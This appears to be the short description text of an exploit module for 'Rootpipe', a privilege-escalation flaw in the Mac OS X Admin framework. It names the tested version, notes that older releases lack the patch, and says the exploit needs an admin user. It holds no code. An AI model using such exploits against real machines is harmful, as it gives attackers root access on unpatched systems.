        This module exploits a hidden backdoor API in Apple's Admin framework on
        Mac OS X to escalate privileges to root. Dubbed "Rootpipe."

        Tested on Yosemite 10.10.2 and should work on previous versions.

        The patch for this issue was not backported to older releases.

        Note: you must run this exploit as an admin user to escalate to root.
